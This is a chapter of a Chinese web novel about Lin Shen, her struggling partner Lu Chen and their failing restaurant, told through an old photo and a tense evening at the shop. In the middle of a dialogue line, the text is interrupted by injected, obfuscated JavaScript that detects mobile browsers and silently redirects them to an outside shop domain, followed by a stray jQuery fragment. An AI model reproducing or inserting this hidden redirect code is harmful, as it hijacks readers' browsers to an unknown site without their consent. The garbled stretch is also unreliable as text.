林深是在整理仓库的时候翻到那张照片的。照片夹在一个旧文件袋里,文件袋原本装着装修报价单、施工图纸和各种发票。时间久了,边角已经发黄,封口胶带也失去了黏性。她本来只是想找一张采购单,结果一堆纸掉出来,散了一地。来福被吓了一跳,从纸堆旁边蹦开两步,然后又凑过来闻。林深蹲在地上整理,整理到一半,动作忽然停住。
那是一张打印照片,拍得很随意,甚至有点模糊。照片里是一间空荡荡的店铺,墙刚砸完,地面上全是建筑垃圾,角落里堆着木板和水泥袋。而陆沉站在店铺中央,穿着黑色T恤,头发有点乱,手里拿着卷尺,正回头看镜头,笑得特别开心。林深看着照片,很久没有动。
那时候,店还没开始装修。他们刚刚签完合同。陆沉连续失业快一年了——准确地说,不是找不到工作,而是找不到愿意做的工作。以前管理过公司的人,很难再回去从基层开始。工资低了不甘心,工资高的没人要。一次次面试,一次次失败。最开始陆沉还会回来吐槽,后来连吐槽都没有了。有时候一整天坐在沙发上,电视开着,手机亮着,人却像没电了一样。林深看着他一点一点沉下去,却不知道怎么拉。
那段时间她最常做的事情就是买东西——买衣服,买包,买各种没用的小东西,快递堆满客厅,像某种自我安慰。而陆沉最常做的事情是发呆,一个人坐在阳台,从白天坐到晚上。林深后来想,也许开店的念头就是那时候冒出来的。她不喜欢看见陆沉那个样子,太陌生了,像一个被抽走灵魂的人。所以她开始研究店铺,研究品牌,研究餐饮,研究选址。她甚至觉得,只要有件事情做,陆沉就会回来,就会变回以前那个陆沉。
照片里的陆沉,就是那个时候的陆沉。刚签完合同,刚拿到钥匙,整个人像重新活过来。他说:“这里放吧台怎么样?这里做包厢。这里做开放厨房。招牌做大一点。门口放棵树。来福以后可以天天来。”那时候他说了很多话,说得特别快,像生怕未来跑掉一样。林深当时坐在旁边听着看着,觉得自己做对了。她真的以为自己做对了。
仓库里很安静。来福用鼻子顶了顶她手里的照片,林深回过神轻轻笑了一下,然后把照片翻过来。背面有一行字,是陆沉写的,字很丑——重新开始。林深盯着那四个字,忽然有些恍惚。
外面传来开门声,陆沉回来了。最近他总是出去抽烟,一天很多次,有时候站在门口,有时候站在街边,有时候一站就是半小时。林深把照片放回文件袋,站起来抱着一堆资料走出去。陆沉正在吧台后面开酒,易拉环发出“啪”的一声。林深脚步顿了一下,又继续往前走。最近这声音越来越频繁,以前她不会注意,现在听见就烦。
“今天怎么样?”陆沉问。
“老样子。”
“哦。”
然后就没了。林深把资料放到桌上,打开电脑开始核对账目——房租、工资、供应商货款、装修分期,一笔一笔,像一块块石头压在表格里。
陆沉坐在吧台后面喝酒。来福原本趴在他脚边,不知道什么时候起身慢慢走到林深身边,然后趴下。动作自然得像已经重复过很多次。林深低头看了一眼,没说话。她最近越来越不愿意说。很多事情,你第一次提醒,别人没听;第二次提醒,别人不在乎;第三次以后,连说话都变得疲惫。
晚上夏禾来了,化着淡妆,穿着新裙子,一进门就看出来心情不错。
“又约会去了?”林深问。
“嗯。”
“挺开心?”
“当然开心。”
夏禾坐下来吸了一口奶茶:“你最近脸色越来越差了。”
“有吗?”
“有。”
“可能睡得少。”
夏禾看了一眼吧台,又看了一眼陆沉手里的酒,没有继续说。她不是傻子,很多东西她看得见,只是一直没说。过了一会儿她忽然问:“林深。”
“嗯?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691732|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“你后悔吗?”
“什么?”
“开店。”
空气安静下来。陆沉在远处接电话,没听见。林深看着电脑屏幕,半天没说话。后悔吗?其实她问过自己很多次——装修超预算的时候后悔过,营业额不好看的时候后悔过,半夜算账的时候后悔过,看见银行卡数字往下掉的时候也后悔过。可如果回到当初,她还是会开。因为那时候的陆沉真的快要沉下去了,她不能看着什么都不做。
“没有。”林深说。
夏禾愣了一下:“真没有?”
“没有。”林深看着窗外,声音很轻,“总不能让他一直那样吧。”
夏禾沉默了。她忽然不知道该说什么,因为她知道这句话是真的——不是为了感动谁,不是为了证明自己伟大,只是因为林深真的这么想。她开店的时候从来没想过赚多少钱,她只是想把一个人拉回来,仅此而已。可有时候,人不是想拉就能拉回来的。
晚上十点,店里最后一桌客人离开。林深开始算账,营业额两千一百三十六。房租六万一个月,工资、水电、采购、损耗,账本摊开在桌上像一道做不完的数学题。她忽然想起父亲,想起那份被圈得密密麻麻的商场合同,想起父亲坐在书房里一页一页翻、一条一条标记,最后摘下眼镜对她说:“这个合同不能签。”那时候她还生气,觉得父亲不懂,觉得父亲总是否定自己。后来她妥协了,选了这里,一个更便宜也更错误的地方。有时候林深会想,如果当初开在商场呢,会不会不一样?可这个问题没人能回答,就像没人知道如果不开店,陆沉会变成什么样。
十一点,店里彻底安静下来。陆沉已经喝完第三罐酒,正坐在吧台后面发呆。灯光落在他脸上,有些疲惫,也有些陌生。林深忽然想起照片里的那个陆沉,站在空店铺中央笑着说“重新开始”。那时候她真的相信他们会重新开始。可后来她才明白,有些开始从一开始就是结束的前奏。只是那时候,谁都不知道。